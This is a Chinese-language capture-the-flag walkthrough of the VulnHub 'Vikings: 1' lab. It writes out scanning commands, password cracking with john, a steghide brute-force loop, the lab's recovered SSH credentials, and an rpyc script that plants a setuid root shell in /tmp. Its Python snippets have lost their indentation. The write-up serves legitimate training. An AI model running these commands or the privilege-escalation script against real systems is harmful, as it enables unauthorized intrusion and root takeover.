一、靶机介绍和思路

靶机下载地址:Vikings: 1 ~ VulnHub

目标:

  • root权限

攻击手法

  • 主机发现
  • 端口扫描
  • WEB信息收集
  • 编码转化/文件还原
  • 离线密码破解
  • 隐写术
  • 二级制文件提权
  • 素数查找/卡利茨猜想
  • RPC漏洞提权

二、主机发现

老规矩arp扫描发现主机ip

arp-scan -l 

image-20240706202001248

三、端口扫描

获取ip后对主机进一步信息收集,扫描端口

namp -p- 10.0.2.12

发现80 和22端口开放

image-20240706205409414

进一步确认

nmap -p 80,22 -sV 10.0.2.12

发现是apache服务

image-20240706205457020

访问目标网页

image-20240706205559269

进入网页下一目录,由于引用了外网的css和js资源,加载比较慢,可以不用等

四、目录扫描

4.1、dirsearch扫描

习惯先使用dirsearch进行扫描,没有发现任何有用的信息

dirsearch -u http://10.0.2.12
dirsearch -u http://10.0.2.12/site

image-20240707131647230

image-20240707131719079

4.2、gobuster扫描

由于dirsearch未扫描出来任何信息,换个工具扫描

gobuster dir -r -u http://10.0.2.12/site -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt

image-20240707132009258

发现一个war.txt

进行访问

http://10.0.2.12/site/war.txt

发现指向另一个目录

image-20240707132033676

http://10.0.2.12/site/war-is-over/

继续访问,发现一串编码,使用赛博厨子解密一下

image-20240707132053565

发现是个压缩包

image-20240707132229520

五、文件分析

使用命令保存到kali,进一步进行分析

5.1、john爆破压缩包密码

curl  http://10.0.2.12/site/war-is-over/ | base64 -d > 1 
# 下载到kali中,保存名字为1

file 1
# 查看1的文件类型

unzip 1
# 进行解压1,发现需要密码

zip2john 1 > 1.hash
# 由于需要密码才能解压,尝试使用john进行爆破,先将1转化为hash类型,提权它的hash,在对hash进行破解

gunzip /usr/share/wordlists/rockyou.txt.gz
# 解压字典,这里使用的是kali默认的字典

john 1.hash --wordlist=/usr/share/wordlists/rockyou.txt
# 使用john进行爆破

image-20240707132849450

image-20240707132916386

成功爆破出密码

ragnarok123

解压出来发现是个图片

5.2、图片隐写

image-20240707133654160

尝试使用steghide对文件进行读取,发现需要密码

steghide info king

for i in $(cat "rockyou.txt");do steghide extract king -p $i;done # 如果是其他的可以尝试使用这么命令进行爆破密码,这个就算了,时间太长kali容易死机

image-20240707133813524

5.3、binwalk提权文件

使用-B参数对二进制文件进行分析,查看文件包含内容

binwalk -B king

image-20240707134122235

使用-e 参数对文件内容进行提取,可以直接使用

binwalk -e king

如果报错说需要root权限,就是用下面这行命令

sudo binwalk -e --run-as=root king

image-20240707134339959

成功提取到,进入目录,查看文件

cd _king.extracted
file user
cat user

image-20240707134441096

发现可疑文本

//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7

ssh连接尝试一下

六、ssh连接

尝试一下登录,最终发现下面这个可以登录成功

ssh floki@10.0.2.12
f@m0usboatbuilde7

image-20240707134824474

在当前目录下,发现两个文件,两个都是文本,查看寻找有用信息

image-20240707135002096

readme中提到,通过boat来寻找ragnar,猜测ragnar是另一个账号

6.1、考拉兹猜想

查看boat发现提示,第29个素数和科拉茨猜想

科拉茨猜想:

是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1

python脚本编写,先找到第29个素数

n = 0
for x in range(1000):
if x < 2:
continue
h = int(x / 2) + 1
for i in range(2,h):
if x % i == 0:
break
else:
n += 1
print(n,":",x)

运行脚本

image-20240707135211606

考拉兹猜想脚本

def collatz(x):
result = [109]
while x != 1:
if x % 2 == 1:
x = (3 * x) + 1
else:
x = (x / 2)
if x <= 255:
result.append(int(x))
return result

print(collatz(109))

运行脚本

image-20240707135427748

使用赛博厨子对数据进行处理

选择十进制用逗号隔开再转换得到一串字符,其中也包含不可输入的

将不能输入的去掉,同时去掉换行

image-20240707135642818

得到结果,猜测是密码

mR)>/Gky[gz=.Fj5P(

6.2、ragnar账号登录

ssh ragnar@10.0.2.12
mR)>/Gky[gz=.Fj5P(

登录成功

image-20240707135922724

但是发现登录成功后直接让输入sudo密码,猜测设置又开机自启任务,并且需要使用sudo权限才能运行。

先切换的bash命令行模式

/bin/bash

image-20240707135951644

七、提权

7.1、linux登录自动执行命令的方式

  • 对于当前用户生效的
  • 编辑当前主目录下的.bashrc文件添加一个指令
  • 编辑当前主目录下的.profile文件
  • .bash_profile文件
  • 对于全局用户生效的
  • /etc/profile

查看相关文件,寻找自动执行的文件

cat .profile 

image-20240707140334241

查看目标文件的权限

ll /usr/local/bin/rpyc_classic.py

image-20240707140509851

7.2、RPC漏洞提权

rpc是一种远程调用服务

思路是:当前没有写的权限,但是了解rpc是服务客户端这种开放端口连接的方式,通过客户端编写代码提交给服务器来帮忙执行
执行命令以root用户来提取指令–>来获取root权限的shell

查看端口是否开放,rpc默认端口为:18812

ss -pantu | grep 18812

image-20240707140607588

说明服务是正在执行的,且侦听地址是127.0.0.1,所以服务需要连靶机在靶机上运行,编写rpc服务功能,获取root权限:

脚本如下

import rpyc
conn = rpyc.classic.connect('localhost')

def getshell():
import os
os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
# os.system('sudo usermod -a -G sudo ragnar')

fn = conn.teleport(getshell)
fn()

切换到tmp目录下,编写并对其进行执行,

发现出息bashroot文件即是执行成功

image-20240707142030751

执行bashroot,完成提权,获的root权限

image-20240707141932900

八、总结

思路:

​ 主机发现==>端口扫描==>目录扫描==>对文件进行分析==>john密码爆破==>binwalk提取文件==>rpc提权

参考文章:【每日打靶练习】Vulnhub-vikings(中低)_vikings靶场-CSDN博客

提权方式的另一种,参考这篇文章

大余每日一攻防VIKINGS-1(十四) - FreeBuf网络安全行业门户